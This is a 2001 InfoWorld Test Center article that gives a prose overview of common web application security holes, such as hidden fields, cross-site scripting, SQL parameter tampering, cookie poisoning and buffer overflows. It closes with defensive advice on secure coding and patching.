| About InfoWorld : Advertise : Subscribe : Contact Us : Awards : Events : Store |
 |
||||
|
||||
 | ||||
 |
|
|||
 |
||||
|
|
|
||
|
|||||||||||||||||||||||||||||||||||||||||||||||||||
 TEST CENTER Web apps are Trojan horses for hackers By Mandy Andress, for InfoWorld Test Center April 5, 2001 It doesn't matter how secure your network is if your Web applications are not secure
Today it's a very different story. Web applications are run on as many as four different machines: the client server, Web server, database server, and application server. And, because they are generally available to all, these applications act as backstage passes for numerous attacks. Hacking into your network is made easier because Web servers provide several different ways to forward requests to an application server and send back a modified or new Web page to the end-user. Many programmers do not know how to develop secure applications. Their only experience may have been with developing stand-alone applications or intranet Web applications that did not allow for catastrophic results when a security flaw was exploited. Subsequently, many Web applications are vulnerable to attack through the servers, applications, and in-house developed code. These attacks pass right through perimeter firewall security because port 80, or 443 for SSL (Secure Sockets Layer), must be open for the application to function properly. Web application attacks include DoS (denial of service) attacks on the application itself, changing Web page content, and stealing sensitive corporate or user information, such as credit card numbers. Overall, Web application attacks differ from other attacks because they are difficult to detect and can come from any online user -- even authenticated ones. To date, this area has been largely neglected because companies are still grappling with securing their networks using firewalls and intrusion detection solutions, which do not detect Web attacks. View illustration, "Web apps give hackers full access to your Web infrastructure." Security holes A list of common Web application security holes follows, along with a brief explanation of how such holes come about. Known vulnerabilities and misconfigurations: Known vulnerabilities include all bugs and exploitable holes in the OSes and third-party applications used by a Web application. This topic also covers misconfigurations -- applications that contain insecure default settings or are configured insecurely by administrators. A good example is leaving your Web server configured to allow any user to traverse directory paths on the system. This can lead to the disclosure of sensitive information such as passwords, source code, or customer information, if stored on the web server -- another big security no-no all by itself. Hidden fields: In many applications, hidden HTML form fields are used to hold system passwords or merchandise prices. Despite their name, these fields are not very hidden; they can be seen by performing a View Source on the Web page. Many Web applications allow malicious users to modify these fields in the HTML source, giving them the opportunity to purchase items at little or no cost. These attacks are successful because most applications do not validate the returning Web page; instead they assume the incoming data is the same as the outgoing data. Backdoor and debug holes: Developers often create backdoors and turn on debugging to facilitate the troubleshooting of applications. This is fine during the development process, but these security holes are often left in the final application that is placed on the Internet. Backdoors that allow a user to log in with no password or access a special URL that allows direct access to application configuration are quite popular. Cross-site scripting: In general, cross-site scripting is the process of inserting code into pages sent by another source. One way to exploit cross-site scripting is through HTML forms. Posting messages on a bulletin board is a great example of cross-site scripting. A malicious user posts on a bulletin board a message that includes malicious JavaScript code. When an innocent user looks at the bulletin board, the server will send the HTML to be displayed along with the malicious user's code. The client's browser will execute the code because it thinks it is valid code from the Web server. Parameter tampering: Parameter tampering involves the manipulation of URL strings to retrieve information that otherwise is not available to the user. Access to the back-end database of the Web application is made through SQL calls that are often included in the URL. Malicious users can manipulate the SQL code to potentially retrieve a listing of all users, passwords, credit card numbers, or any other data stored in the database. Cookie poisoning: Cookie poisoning refers to the modification of data stored in a cookie. Web sites often store on user systems cookies that include user IDs, passwords, account numbers, and so on. By changing these values, or "poisoning" the cookie, malicious users can gain access to accounts that are not their own. Attackers can also steal a user's cookie and gain access to the user's account without having to enter an ID and password or other form of authentication. Input manipulation: Input checking involves the ability to run system commands by manipulating input in HTML forms processed by a CGI script. For example, a form that uses a CGI script to send information to another user can be manipulated to mail the password file of the server to a malicious user or to delete all the files on the system. Buffer overflow: A buffer overflow is a classic attack technique in which a malicious user sends a large amount of data to a server to crash the system. The system contains a set buffer in which to store this data. If the amount of data received is larger than the buffer, parts of the data will overflow onto the stack. If this data is code, the system will then execute any code that overflows onto the stack. An example of a Web application buffer overflow attack again involves HTML forms. If the data in one of the fields on a form is large enough, it can create a buffer overflow condition. Direct access browsing: Direct access browsing refers to directly accessing a Web page that should require authentication. Web applications that are not properly configured allow malicious users to directly access URLs that could contain sensitive information or cause the company to lose revenue if the page normally requires a fee for viewing. Taking action Web application attacks can cause significant damage to a company's assets, resources, and reputation, and although Web applications increase a company's risk of attack, many solutions exist to help mitigate this risk. Our Test Center Action Plan will help you decide which solution is right for you. To get started, educate your developers on secure coding practices. This step alone will eliminate a large percentage of Web application security issues. Next, stay up-to-date with all vendor security patches. Attackers can easily exploit components of your Web application -- Web server, database server, application server, and so on -- if you do not patch the known vulnerabilities. Combining these two steps will greatly reduce the risk of a successful Web application attack. Return to our Test Center In-Focus package:Enterprise security Related articles Developers play vital role in web app security AppShield stops Web app hackers cold Mandy Andress is chief security officer of Evant and president of ArcSec Technologies. She can be reached at mandy@arcsec.com.
 RELATED SUBJECTS  Software DevelopmentSPONSORED WHITE PAPERS 
SPONSORED LINKS
|
|||||||||||||||||||||||||||||||||||||||||||||||||||
|
||||||||||
|
||||||||||
